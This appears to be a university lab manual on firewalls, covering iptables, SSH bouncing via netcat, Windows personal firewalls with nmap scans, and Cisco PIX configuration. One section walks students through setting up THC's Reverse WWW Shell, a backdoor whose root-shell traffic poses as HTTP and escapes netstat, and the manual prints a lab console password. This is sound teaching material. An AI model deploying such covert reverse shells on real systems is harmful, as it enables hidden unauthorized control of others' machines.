Attempt to telnet from Black Hat to the firewall. Check /var/log/messages for these telnet attemps and
record the output from the messages file. type tail /var/log/messages to see the end of the
/var/log/messages file.
Q1.8. What did you see:
Exercise 9
Q1.9. Write down three rules that you think might be useful and explain what they do.
You are now done with the Firewall Machine. Move the backup of the iptables file which you
had created back into the /root/fresh_iptables directory to reset the firewall.
Now that you have set up a Firewall to filter unwanted traffic and block ports, we are going to
explore a way to get around firewalls. One such way is through tunneling. Tunneling is
wrapping one protocol within another one, the protocol you are wrapping is one that would not
get by the firewall and the protocol you wrap it with is something that would get through the
firewall. For example, you could hide shell commands inside of an http get tcp command. If you
are allowing users to use the web in your DMZ, port 80s will be open and those packets will not
be filtered.
SSH Bouncing through a Firewall Using Netcat
Say you have a firewall and have multiple computers behind it that you want to access
remotely using SSH. Intuitive options include either:
•
•
SSH to the firewall and then SSH to the target computer; however, this is a pain if you
need to transfer files because you will have to transfer them to the firewall first.
Forward ports to different computers to login remotely using non standard SSH ports.
This will require you to know which computer is at which port. This will also create
public key conflicts.
However, with the help of netcat, you can create some scripts that will let you connect to
any computer behind the firewall as if it there where no hops in between.
We are going to do this by using the firewall setup in the lab. Again this is how the
firewall is setup.
21
Figure 1-1: Netwrok structure on the Firewall machines
•
Perform the following steps in the BlackHat machine:
Create a file named config in /root/.ssh
vi /root/.ssh/config
•
Write the following information in this file:
Host protected
Hostname 192.168.0.10
HostKeyAlias protected
ProxyCommand netcat-proxy-command 131.210.231.1 %h
Here Hostname is the computer behind the firewall, netcat-proxy-command is a script which we
will create in the next step and %h is the local host name (linux replaces it automatically).
•
Now make a script in /usr/local/sbin named netcat-proxy-command
vi /usr/local/sbin/netcat-proxy-command
•
Write the following in the file:
#!/bin/sh
bouncehost=$1
target=$2
ssh $bouncehost
nc -w 1 $target 22
This script will create a proxy that will connect to the target computer behind the firewall
after getting to the Firewall computer. Now make this script executable:
chmod +x /usr/local/sbin/netcat-proxy-command
22
•
•
On your host machine:
You will now need to comment out the line your iptables.firewall script that forwards
port 22 (SSH).
Restart the iptables.firewall script with the command:
/etc/rc.d/init.d/iptables stop
./iptables.firewall
Now you can SSH from BlackHat to any computer behind the firewall defined in the
.ssh/configure file by typing the following command:
ssh <HostKeyAlias>
For example, you can SSH to the protected computer by running the following command:
ssh protected
The shell will ask for the password of firewall and then the password of Protected. Your
window should look like the following screen shot.
23
This may not look like much since you can manually SSH into the firewall and then in to
the target computer; however, this turns out to be really useful to transfer files since you can
transfer them directly. For example, create a file named test file and send it to the protected
computer:
scp testfile protected:~/testfile
Again it will ask you for the remote password of the Firewall and Protected. Your screen
will look similar to the following screen shot.
24
NOTE: In order to access the NAS in the next section, you will need to either shutdown iptables
or add a rule to allow all packets on the eth0 interface.
1.6.6 Reverse WWW Shell
Reverse WWW Shell is a tunneling program that uses an interesting approach to tunneling.
Instead of having the server listening on a port that can easily be detected, it has the server
connect to the client to get instructions the client has left in a certain directory. The shell
commands in the Reverse WWW Shell look like http get calls and go through port 80. Because
they look like innocuous web traffic, even proxy firewalls will have a hard time determining if
the packets are malicious. It also has a random time frame for accessing the client so that it
doesn't appear to be automated, to make detection even more difficult. Another program that
works in the same manner is HTun, which can be found at http://htun.runslinux.net
This section will be done using your Red Hat 4.0 base machine as the master machine and the
slave is the Red Hat 7.2 VM. Download the source from the NAS. We originally got this from
http://www.thc.org/releases/rwwwshell-2.0.pl.gz
Use the following commands to unzip and make executable:
$ gunzip rwwwshell-2.0.pl.gz
$ chmod +x rwwwshell-2.0.pl
This is a shell script. So open it up in your favorite text editor and go to these lines
#
# MASTER CONFIG (specific for the MASTER)
#
$LISTEN_PORT=8080;
# on which port to listen (80 [needs root] or 8080)
$SERVER="127.0.0.1";
# the host to run on (ip/dns) (the SLAVE needs this!)
We need to change the listen port to 80, since we have root on our master machine this is no
problem, now enter the IP address of your machine that the slave will access.
Now look at some of the options for the slave, we are going to need to change the timing of the
system in order to get immediate feedback from our system, choose a time within the next 20
minutes for your SLAVE to check for commands. Also set the DEBUG field to no. You can
also set eh delay between executing commands.
Now that we have the slave set up we need to install it on our slave system. Open your Redhat
7.2 Virtual machine and transfer the perl file to it. You may use sftp or scp to do so. Now run:
$ ./rwwwshell-2.0.pl slave
now on the master run
$ ./rwwwshell-2.0.pl master
If you were successful the slave will connect to the master at the time entered in the code and
allow you to type in root commands that will be executed on the slave system.
25
If you have your firewall running you can check to see whether the packets were filtered or not,
they shouldn't be with the standard 80 port open.
Q1.10 Open ethereal and capture a few of the shell packets, what is their format?
Q1.11 Why does the format of the protocol make it especially hard to catch with a firewall?
Q1.12 A common way network administrators check for backdoors running on their system is to
do a “netstat -na” Do this on your slave system, do you see an open port for the reverse www
shell? Why not?
26
2. Windows Firewalls
RealSecure Desktop Protector
RSDP is a software firewall provided by OIT for Georgia Tech students. It is available at
http://software.oit.gatech.edu/. It is available for download from the NAS. This section will
guide you through the installation of this firewall and then show you some of its features.
After download from the NAS, the installation of RSDP requires a little preparation. Now
double click EmployeeRSDP.exe. This will preform a silent, non-interactive, install. Now
reboot your computer. A RSDP icon should appear in your task tray as in figure 1.
Figure 1. RSDP task tray icon.
Now lets configure RSDP. Single click the icon in the task tray. This should open up to a
window which looks like figure 2.
27
RSDP opens to the event page, as you can see the only events that are listed are the stopping and
starting of BlackICE, the name of our firewall engine. Events tagged with a red ! are high risk
events. Highlight this event and click Event Info in the bottom right of the window. This should
open up the help files for RSDP and will explain the event. This is shown in figure 3.
Figure 2. RSDP interface window.
Figure 3. Help file for BlackICE Detection Stopped event.
28
The quick links in this help file will give you more information about this event, such as what is
affected by it and how to resolve it. In this case the information is trivial; we caused the event by
rebooting after install.
Right now we have a default configuration of RSDP, let’s see what it does.
On your Red Hat WS 4.0 machine, ping your windows box.
#ping <windows XP IP>
Stop the ping after a few seconds with ctrl-c
You should see an output similar to figure 4.
Figure 4. Result of pinging windows machine.
Now look at your windows machine, you should not see a new event in your RSDP window.
This is due to the default behavior of the firewall. You may, or may not, want ICMP messages
to be able to reach your computer. We will change this behavior in a moment. But while it is
still in the default configuration lets use nmap to scan our windows machine.
#nmapfe &
This will open the graphical version of nmap. Now enter your windows XP machine's IP address
and run nmap with the default entries, SYN stealth, TCP&ICMP, and OS detection should be
selected. Click scan and see what it finds, this might take a while to finish. You should get the
list that is in figure 5.
Figure 5. Nmap scan output.
29
This shows that our default firewall setup is not bulletproof; we find information on several
aspects of the victim machine. This shows that we even have open ports! This could be a
disaster. Now look at the event window in RSDP, you should see a list similar to figure 6.
Figure 6. RSDP alerts from nmap scan.
Yikes, look at all those alerts. Nmap tries a lot of different methods to scan a computer, even
with its default options. You are seeing an event for each different type of “attack”. Click on the
Intruders tab, notice that it lists each IP that has accessed our machine. From here we can block
the IP for either a specific amount of time, or forever. We don't need to block it since we are the
attacker. Go back to the events tab. Notice the count for the TCP port scan. It should number
several thousand. It is not possible to open the event info for this alert, since RSDP will attempt
to check the ISS website for information. However, we know what caused this event and should
be able to deal with it. Let’s try and harden our firewall.
Click tools, and then edit settings, then select the firewall tab. Uncheck the boxes labeled allow
NetBIOS neighborhood and allow Internet file sharing. We are not sharing files on our network,
therefore these are merely security risks. If you are sharing files on your network then this action
will cause you trouble. The packet log and evidence log tabs do just what they say. They allow
you to log information from your firewall. This is typically a very good idea, but we won't check
the logs in this lab section.
Let’s go to the advanced rules section. Click tools, then advanced firewall settings. You should
see a list of ports such as in figure 7.
30
Figure 7. Advanced Rules.
The green circle means that these ports are open, the blue arrows indicated whether traffic is
allowed to be incoming or outgoing in these ports. The top two ports are to allow an
administrative interface at a remote location. Let’s remove it. Click ok. Click tools, and then
edit settings, the select the management tab. Uncheck the box labeled Reporting enabled, and
click yes on the pop up window. Click ok and go back to the advanced settings. Now we have
disabled reporting, but we cannot edit the settings of these ports. These open ports are for the
firewall software. Let’s leave them alone and add some rules to prevent nmap from scanning our
computer. Click add and a window should pop up. In the name field enter ICMP blocker.
Select IP type from the drop down menu and click the all addresses box. From the value drag
down box select ICMP. Select both for the direction and forever as the time. Your window
should now look like figure 8.
31
Figure 8. Firewall rule.
Now click Add.
Go back to your Red Hat WS 4.0 machine and try to ping your windows machine. It should fail
as in figure 9.
Figure 9. Ping results.
Ok, now we are part way to our goal. Now click on the rule for TCP port 135, this was one of
the ports that nmap found open. Click modify and check the box to reject this traffic. Now click
ok. Rerun nmap and look at its output, shown in figure 10.
Success, not only are no ports open, but the OS fingerprinting failed. This exercise should show
you how it is possible to create firewall rules to either allow, or block certain traffic. If, for
example, you wanted to allow access to a web server hosted on this machine, you could easily
add a rule to allow connections to port 80 from either a particular IP address, or from all
addresses. This exercise should also show you that a default setup of a firewall may not be as
secure as you would like and that testing a firewall once in place is required.
32
Figure 10. Nmap scan again.
Windows Built-in Firewall
Turn off your RealSecure Firewall. Check your process list for blackd.exe and if it is running end
it.
Now go back to the Red Hat WS 4.0 machine and run this command:
nmap -sS -P0 -n -F -max_rtt_timeout 40 <Windows XP's IP>
(or use nmapfe)
Q2.1. List the open ports on the Windows XP machine.
Now go to the Windows XP Virtual machine.
1. Click Start-->Settings -->Control Panels-->Network Connections-->Local Area Connections.
2. Click the Properties button.
3. Click the Advanced Tab.
4. Check the box next to “Protect my computer and network by limiting or preventing access to
this computer from the Internet”. This enables Windows' Internet Connection Firewall.
5. Now click the “Settings...” button. This allows you to configure the firewall.
6. Open the Security Logging Tab, and check the two check boxes next to “Log dropped
packets” and “Log Successful connections”.
7. Now click “Ok”
8. Click “Ok”
9. Click Close.
Q2.2. Now that the firewall is configured and activated, list the open ports on the Windows XP
machine.
Q2.3. As far as personal firewall software goes, how does windows XP's ICF compared to
Linux's iptables?
33
Sources:
1.
Copied and pasted for firewall introduction and explanation
Tyson, Jeff, “How Firewalls Work”
http://computer.howstuffworks.com/firewall.htm/
2.
Copied and pasted for IP Tables introduction
Steams, William “Adaptive Firewalls with IP Tables”
http://www.ists.dartmouth.edu/IRIA/knowledge_base/adaptive_firewalls.htm
3.
Copied and pasted for iptables chains and certain rules
Russell, Rusty, “Linux 2.4 Packet Filtering HOWTO”
http://www.netfilter.org/documentation/HOWTO//packet-filtering-HOWTO.html
4.
Startup script and basis for rules
Stephens, James C.
http://www.sns.ias.edu/~jns/security/iptables/
5.
Designing a DMZ
Scott Young
March 26, 2001
http://www.sans.org/rr/firewall/DMZ.php
34
Part 3 – Cisco PIX 515E
Introduction
A hardware firewall usually has at least three interfaces, although many early implementations
had two interfaces. It is still common to install a two-interface firewall. When using a firewall
that has three interfaces, at least three networks are created. The three areas that are created by
the firewall are described as follows:
•
•
•
Inside – The Inside is the trusted area of the internetwork. The devices on the
Inside are the organization's private network (or networks). These devices share a
common security policy relative to the Outside (the Internet) network. It is,
however, a common practice to have a firewall to segment the trusted
environment. If one department, such as Human Resources, needs to be protected
from the rest of the trusted users, a firewall may be used.
Outside – The Outside is the untrusted area of the internetwork. The firewall
secures the devices on the Inside and DMZ from the devices on the Outside. In
the course of doing business, organizations typically allow access to the DMZ
from the Outside.
DMZ (Demilitarized Zone) – The DMZ is an isolated network, or networks,
which is usually accessible to the Outside users. The firewall must be configured
to allow access from the Outside or Inside to the DMZ. The creation of a DMZ
allows an organization to make information and services available to Outside
users in a secure and controlled environment.
The hosts or servers that reside on the DMZ are commonly referred to as bastion hosts. In this
case, a bastion host is a host that is current with regard to its operating system and patches to that
operating system. The action of being current will usually make it less vulnerable to attack
because the vendor has fixed or "patched" any known security flaws. The bastion host is a host
that is running only those services necessary to make it perform its application duties.
Unnecessary (and sometimes more vulnerable) services are turned off or removed from the host.
Figure 3-1 illustrates this general network design.
.
.
Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
35
Figure 3-1 – General Network Design Using a Firewall
The baseline perspective for a firewall is to perform the following functions:
•
•
•
•
Permit no access from the Outside to the Inside.
Permit limited access from the Outside to the DMZ
Permit all access from the Inside to the Outside.
Permit limited access from the Inside to the DMZ.
The PIX Command-Line Interface.
The PIX Firewall contains a command set similar but not identical in syntax to the Cisco
.
Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
36
IOS command set. When accessing a specific command, you must be in the proper mode (for
that particular command) to access that particular command. The PIX provides four
administrative access modes:
• Unprivileged Mode – This mode is available when first accessing the PIX Firewall. This
mode is frequently referred to as user EXEC mode. The> prompt is displayed. This mode
lets you view a subset of all commands available. A user cannot make configuration
changes if unprivileged mode is the only mode accessible.
• Privileged Mode – This mode displays the # prompt and enables you to change the
current settings. Any unprivileged command also works in privileged mode. Once you
have access to privileged mode, you have access to configuration mode.
• Configuration Mode – This mode displays the (config)# prompt and enables you to
change system configurations. All privileged, unprivileged, and configuration commands
work in this mode.
• Monitor Mode – PIX Firewalls have a special mode called the monitor mode that
permits you to perform special tasks that could otherwise not be performed like updating
an image over the network.
Table 1 – Distinctive PIX Prompt for Administrative Modes
Mode
Unprivileged mode
Privileged mode
Configuration mode
Monitor mode
Prompt
pixfirewall>
pixfirewall#
pixfirewall(config)#
monitor>
Within each access mode, you can abbreviate most commands down to the minimum length
needed to make them unique. For example, you can enter wr t to view the configuration instead
of entering the full command, write terminal. Additional examples are to enter en instead of
enable to start privileged mode and co t instead of configuration terminal to start configuration
mode. Help information is available from the PIX Firewall command line by entering help or ?
to list all commands. If you enter help or ? after a command (for example, route?), the
command syntax is listed. The number of commands listed when using the help (?) command
differs by access mode. In addition, you can enter any command by itself on the command line
and then press Enter to view the command syntax.
Note – A configuration file may be created offline using a text editor. A user may then copy and
paste it into the PIX configuration. The PIX allows entire configuration to be input this way or
one line at a time.
A list of useful commands, while using the PIX user interface is given in Appendix D.
37
ASA Security Levels.
The security level designates whether an interface is inside (trusted) or outside (untrusted)
relative to another interface. An interface is considered inside in relation to another interface if
its security level is higher than the other interface's security level and is considered outside in
relation to another interface if its security level is lower than the other interface's security level.
The primary rule for security levels is this:
Once the PIX is configured with the six basic commands, data may enter the PIX through
an interface with a higher security level, pass through the PIX, and exit via an interface
with a lower security level. Conversely, data that enters an interface with a lower security
level cannot pass through the PIX and exit via an interface with a higher security level
without a conduit or an access list (which is discussed later).
Security levels range from 0 to 100, and the following are more specific rules for these security
levels:
• Security level l00 – This is the highest security level for an interface. It is used for the
inside interface of the PIX Firewall. This is the default setting for the PIX Firewall and
cannot be changed. Because 100 is the most trusted interface security level, the
organization's network should be set up behind that interface.
• Security level 0 – This is the lowest security level. This security level is used for the
outside interface of the PIX Firewall. This is the default setting for the PIX Firewall and
cannot be changed. Because 0 is the least trusted interface security level, the most
untrusted network should be behind this interface.
• Security levels 1-99 – These security levels can be assigned to the perimeter interfaces
connected to the PIX Firewall. It is common to connect one of these perimeter interfaces
to a network that acts as a demilitarized zone (DMZ). A DMZ is a device or network that
is (usually) accessible to users from the untrusted environment. The DMZ is an isolated
area, separate from the internal, trusted environment. Figure 3-2 is an example of a threeinterface PIX Firewall.
Figure 3-2 – PIX Security levels.
.
Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
38
PIX interface
The basic commands to be used in the PIX command interface are shown in Appendix D. Go
over these commands at this time and keep them in mind when you are doing the lab exercises.
You will need most of them at that time. For example, the enable command will be used to get
started with the firewall. It provides entrance to the privileged access modes. The configure
terminal command is used to move from the privileged mode to the configuration mode. The
command prompt in the mode is (config)# .You can also use the hostname command to change
the hostname label on the prompts (e.g. hostname newname ). Now let’s try to configure the
firewall for the network setup in the lab.
Network setup
You will need to understand the structure of the Mini-net in the lab, to complete this lab. The
diagram describing the Mini-net should be posted on the back wall of the lab and is included latr
in this lab. Figure 3.3 below shows more details. There are six autonomous systems – 4 Tier 2
systems and 2 Tier 1 systems. The firewall is located in the Enterprise – Cisco system. It is
marked as the “Edge-fwall” in the diagram. You should be able to figure out the network and
host address of the routers and interfaces from the diagram. If you’re having trouble reading the
diagram, you can ask a TA for help.
NOTE: It is important that you access the firewall only during your reserved slot.
Accessing the firewall, while some other group is doing their lab, will mess up the
configuration and both of you will have to start over.
Connection to the Firewall
On your host machine, use the following command:
ifconfig eth0:0 192.168.254.x where x is the last octet of the first ip address you were assigned.
Now ssh into the playstation1 setup using the following command:
ssh [email protected]
The password is “playstation1”
Once you enter the password, you’ll see a port access menu. This menu lists all the ports the
console manager is connected to. The port for firewall is 12. So press 12 and then Enter. Press
Enter a couple of times and you’ll see the prompt for the Cisco firewall.
Initial Configuration
We’ll be starting from scratch so let’s first reset the firewall and put it back into its original
factory settings. The current configuration is stored in the flash memory. The write erase
39
command erases this configuration in the memory. Next, you have to type the reload command.
Since there is no configuration in memory, the firewall reverts to its original settings. Initially
you’ll see the hostname set by the previous group, and the “>” prompt. In the commands given
below, the “>” and the “#” sign refer to the prompts. Type them in to configure the firewall.
Step 1
To enter the privileged mode, type
> enable
Password: <Press ENTER>
The prompt changes to #
# write erase
Erase PIX configuration in flash memory? [confirm]: <Press ENTER>
# reload
Proceed with reload? [confirm] : <Press ENTER>
The firewall will reboot. Once it reboots, you’ll see the following question,
Pre-configure PIX Firewall now through interactive prompts [yes]? <Type no
and ENTER>
Now you’ll see the default firewall prompt
pixfirewall>
You’ll be typing all the commands at this prompt now. Go over the configuration commands
given in Appendix E at this time. You’ll be using them in this section.
Step 2
Now, type in the commands given below.
pixfirewall> enable
Password: <ENTER>
pixfirewall#
pixfirewall# configure terminal
pixfirewall(config)# hostname pixGxx
Can also type config t as a for short.
where xx is your group number, so
pixG10 for group 10. This is just
for convention.
So for group 10, the prompt will now change to
pixG10(config)#
Step 3
In this step, we will use the nameif command to configure interface 2 as the dmz interface.
Remember, interface 0 is defined as outside by default and interface 1 is inside by default. Go
over the nameif command in appendix E to know how to use it.
Now type the following
40
pixGxx(config)# nameif e2 dmz security50
pixGxx(config)# show nameif
nameif ethernet0 outside security0
nameif ethernet1 inside security100
nameif ethernet2 dmz security50
Step 4
The interfaces will be enabled in this step to bring them up. They will be set for auto sensing
10/100 communications. Use the show interface command to display information about the
interfaces.
pixGxx(config)# interface e0 auto
pixGxx(config)# interface e1 auto
pixGxx(config)# interface e2 auto
pixGxx(config)# show interface
There will be configuration information printed out about each interface. The important things to
note here is the first line about each interface.
interface ethernet0 “outside” is up, line protocol is up
interface ethernet1 “inside” is up, line protocol is up
interface ethernet2 “dmz” is up, line protocol is up
Step 5
It’s time now to assign IP address to the three interfaces. If you look closely at the firewall in the
Mini-net diagram, you’ll see the IP address for the three interfaces.
41
DMZ
S2
192.168.0.0/24:101
.3
.10
R1
Enterprise-dns
Dell Poweredge
R2
INSIDE
Web Server
Redhat Apache.1
172.16.2.99
172.16.2.0/24:102
.1
Virtual IP
Addresses
Web Server
Redhat Apache
12
Edge-fwall
.4
Cisco PIX-515E
212.43.0.0/24:100
OSPF 0
.1
#7
Outside
.254
Edge1-rtr
Cisco 1760-K9
Figure 3-3 – Close-up of the firewall in the Mini-net diagram. Note the addresses for the
three interfaces.
Now assign these addresses to the interfaces using the following commands.
pixGxx(config)# ip address outside <IP ADDRESS> 255.255.255.0
pixGxx(config)# ip address inside <IP ADDRESS> 255.255.255.0
pixGxx(config)# ip address dmz <IP ADDRESS> 255.255.255.0
List the addresses that you assigned to the interfaces, below.
Check to make sure you assigned the right address by using the following command.
pixGxx(config)# show ip address
42
It’ll list the current IP addresses for the three interfaces.
Step 6
If everything looked fine in the last step, you should save the configuration into the flash
memory. You won’t have to do this part again for the rest of the lab.
pixGxx(config)# write memory
Building configuration…
Cryptochecksum: 7af5c680 748b5ada 2eee0daa ab8fd68f
[OK]
pixGxx(config)#
At this point you have correctly setup the network. There are some concepts and commands that
have to be explained before you can proceed further.
Network Address Translation
Network Address Translation (NAT) enables the user to keep internal IP addresses (those behind
the PIX Firewall) unknown to external networks. NAT accomplishes this by translating the
internal, unregistered IP addresses, which are not globally unique, into registered, globally
accepted IP addresses before packets are forwarded to the external network. NAT is
implemented in the PIX Firewall with the nat and global commands.
When an outbound IP packet that is sent from a device on the inside network reaches the PIX
Firewall, the source address is extracted and compared to an internal table of existing
translations. If the device’s address is not already in the table, it is then translated. A new entry is
created for that device and it is assigned a global IP address from a pool of global IP addresses.
This global pool can be configured with the global command. After this translation occurs, the
table is updated and the translated IP packet is forwarded. After a user-configurable timeout
period ( or the default of 3 hours), during which there have been no translated packets for that
particular IP address, the entry is removed from the table and the global address is freed from use
by another inside device.
The global is used to assign a registered or public IP address to an internal host when accessing
the outside network through the firewall. It can also be used to assign a pool of global IP
addresses. The basic syntax of the command is given below. A more complete description can be
found in Appendix E. Go over it once you’ve read this section to understand the command
properly.
global [(if_name)] nat_id {global_ip [-global_ip] [netmask global_mask]}
Here, the nat_id is used to identify the particular pool of global IP addresses that are assigned.
This nat_id should correspond to the nat_id used in the nat command, shown below.
43
The nat command can specify translation for a single host or a range of hosts. The basic syntax
of the command is given below. A more complete description can be found in Appendix E. Go
over it once you’ve read this section to understand the command properly.
nat [(if_name)] nat_id address [netmask]
The nat_id in this command should be the same as the one defined in the global command.
As shown in the example, below, you can also enable translation for all inside hosts making
outbound connections with the nat 1 0.0.0.0 0.0.0.0 command. This can be shortened to nat 1 0
0.
Example:
pixGxx(config)# nat (inside) 1 0.0.0.0 0.0.0.0
This command translates all the internal IP addresses into the global pool of addresses with
nat_id 1 (defined in the global command).
The route command can be used to setup a default route for packets going through the firewall.
So, packets going to the outside interface can be set to go through a default router on the outside.
The IP address of one of the PIX Firewall’s interfaces can also be used as a gateway router. So,
for the internal network, the address of the inside interface can be set as the default gateway. In
the lab, we use the OSPF protocol to configure the routers. Therefore, we will use the router
command to have the firewall advertise its interface as the default gateway. It will configure the
firewall interfaces to act like routers using the OSPF protocol.
Now that you’ve had an overview of the configuration commands to be used, let’s go ahead and
configure the firewall.
Configure Global Addresses, NAT, and Routing for Inside and Outside Interfaces
Follow the steps below to configure the firewall.
Step 7
Assign a pool of registered IP address for use by the outbound connections. If you look at the
Mini-net diagram, you can see that these addresses will be in the network 212.43.0.0/24. Let’s
choose the range 212.43.0.100 – 212.43.0.199. The nat ID is 1. On the dmz the global IP range is
192.168.0.200-192.168.0.250. The nat ID is again 1. Because both the dmz and outside use a nat
ID of 1, the internal IP’s can be translated to those in either global pool.
pixGxx(config)# global (outside) 1 212.43.0.100–212.43.0.199 netmask
255.255.255.0
pixGxx(config)# global (dmz) 1 192.168.0.200-192.168.0.250 netmask
255.255.255.0
pixGxx(config)# show global
global (outside) 1 212.43.0.100–212.43.0.199 netmask 255.255.255.0
global (dmz) 1 192.168.0.200-192.168.0.250 netmask 255.255.255.0
44
Step 8
Let’s assign these pools of addresses to a nat for internal addresses.
pixGxx(config)# nat (inside) 1 0 0
This will allow all inside hosts to use NAT for outside and dmz access.
Display this configuration with
pixGxx(config)# show nat
nat (inside) 1 0.0.0.0 0.0.0.0 0 0
Make sure that the nat ID, in the global and nat commands, matches. That allows you to have
multiple nat pools. So, nat pool 1 could be used for hosts from subnet A, and nat pool 2 could be
used for hosts from subnet B.
Step 9
In order to direct traffic to other networks, you need to configure the router functionality.
pixGxx(config)# router ospf 1
pixGxx(config-router)# network 212.43.0.0 255.255.255.0 area 0
pixGxx(config-router)# log-adj-changes
pixGxx(config-router)# exit
pixGxx(config)# router ospf 2
pixGxx(config-router)# network 172.16.2.0 255.255.255.0 area 0
pixGxx(config-router)# log-adj-changes
pixGxx(config-router)# default-information originate always
pixGxx(config-router)# exit
pixGxx(config)# show router
router ospf 1
network 212.43.0.0 255.255.255.0 area 0
log-adj-changes
router ospf 2
network 172.16.2.0 255.255.255.0 area 0
log-adj-changes
default-information originate always
pixGxx(config)#
These commands configured the firewall to act as an OSPF based router for the inside and
outside interfaces.
Step 10
Now let’s save the configuration to memory.
pixGxx(config)# write memory
At this time you can check that you entered the right command by typing
45
pixGxx(config)# show history
You can also check the current configuration by typing
pixGxx(config)# write terminal
This will show you complete configuration in memory. It will have a lot of additional settings
that you can look at.
Step 11
First check that you have proper connectivity by pinging each of the interfaces of the firewall
from the firewall.
pixGxx(config)# ping <INSIDE INTERFACE IP>
pixGxx(config)# ping <OUTSIDE INTERFACE IP>
pixGxx(config)# ping <DMZ INTERFACE IP>
Q3.1. Can you ping each of these?
Now, ping hosts in the inside, dmz and outside domains. A machine called R2 has been setup on
the inside network. It can be seen on the Mini-net diagram. The address for this machine is
172.16.2.99. The IP for the web server in the dmz zone is 192.168.0.10. For the outside zone,
you can choose any of the routers. Can you ping each of these?
Now type the command below. The meaning of this command will be explained in the next
section.
pixGxx(config) # access-list DMZ permit icmp any any
pixGxx(config) # access-group DMZ in interface dmz
It’s time to check your configuration to see if allows access from the inside. Do this from R2.
You can access the R2 machine by using the server terminal in the server rack. R2 machine is
located on switch number 2 on the KVM machine behind the terminal screen. Answer the
following questions as you perform the tests.
Q3.2. Can you ping the address of the server (192.168.0.10) ?
Start the web browser and see if you can access the web server in the dmz zone. Type in the IP
address of the server as http://192.168.0.10 . Can you see the default web site? This is the same
as telneting to port 80 of this machine.
Go back to the firewall terminal and type
pixGxx(config)# show xlate
(or show xlate detail)
Q3.3. What does this command show? What does it mean?
46
Now check if you can access hosts on the outside interface. Using the mini-net network diagram
as a guide, ping one of the edge routers on the 212.43.0.0/16 network (for example, you can ping
212.43.0.1).
Let’s see if we can access things from the outside. Do this from your Red Hat WS 4.0 host
machine Can you ping the web server (R1) in the dmz zone?
Q3.4. Try to access it from a web browser and see if you can do that. You could also telnet to
port 80 and check this. Can you do it?
Q3.5. Finally, can you ping the R2 terminal machine from the outside?
Q3.6. Describe how the firewall is configured at this point. What type of packets does it allow or
disallow and from where? You can draw diagrams to explain this better.
Configuring access to the DMZ zone from Outside
To allow access connections from an interface with a lower security level to an interface with a
higher security level, the static and conduit commands can be used.
The static command creates static mapping between an inside IP address (in this case it means
behind the firewall – inside interface or dmz interface) and a global IP address. Using the static
command enables you to set a permanent global IP address for a particular inside IP address.
This creates an entrance for the specified interfaces with the lower security level into the
specified interface with a higher security level.
After creating a static mapping between an inside IP address and a global IP address by using the
static command, the connection from the outside interface to the dmz or inside interface is still
blocked by the PIX Firewall’s Adaptive Security Algorithm (ASA). The conduit command can
be used now to allow traffic to flow between the interfaces. This command creates the exceptions
to the PIX Firewall’s ASA. However, the conduit command is obsolete in versions 6.2 and later
of the PIX software. A better alternative is the access-list command to create Access Control
Lists. The only reason conduit is still supported is to maintain backwards compatibility with
previous versions of PIX. In this lab, we will use the access-list command along with the accessgroup command to configure the firewall.
Access Control List
An ACL enables you to determine what traffic will be allowed or denied through the PIX
Firewall. It is a list kept by routers and the PIX Firewall to control access to and from the router
or firewall (for example, to prevent packets with a certain IP address from leaving a particular
interface). ACLs are applied per interface, which means that inbound traffic is analyzed relative
to the interface.
47
An ACL can be created with the access-list command. It enables you to specify if an IP address
is permitted or denied access to a port or protocol. By default, all access in an access list is
denied. You must explicitly permit it.
The format of the access-list command is shown below
access-list acl_IND deny | permit protocol source_addr dource_mask [operator port[port]]
destination_addr destination_mask operator port[port]
When specifying the IP address of a host as a source or destination, use the host keyword instead
of the network mask 255.255.255.255. For example, use the following ACL entry to permit FTP
traffic to host 192.168.1.1:
access-list SAMPLEACL permit tcp any host 192.168.1.1 eq ftp
A more detailed explanation of this format is given in Appendix E. You can also consult Cisco
web resources listed, to gain more information.
The no access-list command removes an access-list command from the configuration. For
example, no access-list SAMPLEACL
The access-group command binds the ACL to a specific interface on the Firewall. The ACL is
applied to the traffic inbound on that interface. Only one ACL can be bound to an interface using
this command.
The no access-group command unbinds the acl_ID from the interface. For example, no accessgroup acl_ID in interface interface_name
Now follow the steps given below to allow access to the web server in the DMZ zone.
Step 12
First we have to create a static, permanent mapping of the web server’s address to a global
address on the outside interface. This is done using the static command. The format and
explanation for this command are given in Appendix E. Further information can be obtained
from the Cisco web resources, listed in the lab.
Type in the following:
pixGxx(config)# static (dmz, outside) 212.43.0.x 192.168.0.10
where x is the last octet of the first assigned ip address.
Q3.7.Write the address of the web server, for the outside interface, below.
Now type
48
pixGxx(config)# show static
static (dmz,outside) 212.43.0.x 192.168.0.10 netmask 255.255.255.255 0 0
Create an Access Control List
pixGxx(config)# access-list ACLDMZ permit tcp any host 212.43.0.x eq www
Now add commands to permit inbound ICMP echo traffic to the server. All other traffic from
outside will be denied by the implicit deny.
pixGxx(config)# access-list ACLDMZ permit icmp any host 212.43.0.x
Let’s bind this ACL to the outside interface.
pixGxx(config)# access-group ACLDMZ in interface outside
Display the access list and observe the hit counts.
pixGxx(config)# show access-list
...
access-list cached ACL log flows: total 0, denied 0 (deny-flow-max 1024)
alert-interval 300
access-list ACLDMZ; 2 elements
access-list ACLDMZ line 1 permit tcp any host 212.43.0.x eq www (hitcnt=3)
access-list ACLDMZ line 2 permit icmp any host 212.43.0.x (hitcnt=23)
Save your configuration
pixGxx(config)# write memory
Step 13
Check your configuration now by going to the terminal on the outside interface and accessing
the address of the web server on the dmz interface that you defined. So if the address that you
mapped the server to was 212.43.0.6, type wget http://212.43.0.6. wget does the same thing a
web browser does, just without graphically displaying the index.html file. You can also do the
same thing by telnet 212.43.0.x 80
Q3.8.Were you able to connect to the server from the outside? Can you ping this server from the
outside?
So, that’s it. If you can get access, you were able to configure a Cisco PIX firewall for basic
functionality. Again describe the current configuration of the firewall.
Q3.9.What kind of traffic does it allow and from where to where? You can draw diagrams to
explain this.
Turn in a printout of the output of the command, given below, with your lab.
49
pixGxx(config)# write terminal
Q3.10. This was very simple network architecture, designed to give you a brief overview of how
Cisco PIX Firewalls work. How does the Cisco PIX firewall differ from Linux ipchains
capability that we looked at before? By looking on the web, determine which firewall
methodology is common in industry and why. Summarize your conclusion here and give
references to justify your answer.
GTISC Mini-Net
Accounting-rtr
Cisco 1760 .1
#11
NETWORK/MASK:VLAN
S2
Web Server
Redhat Apache
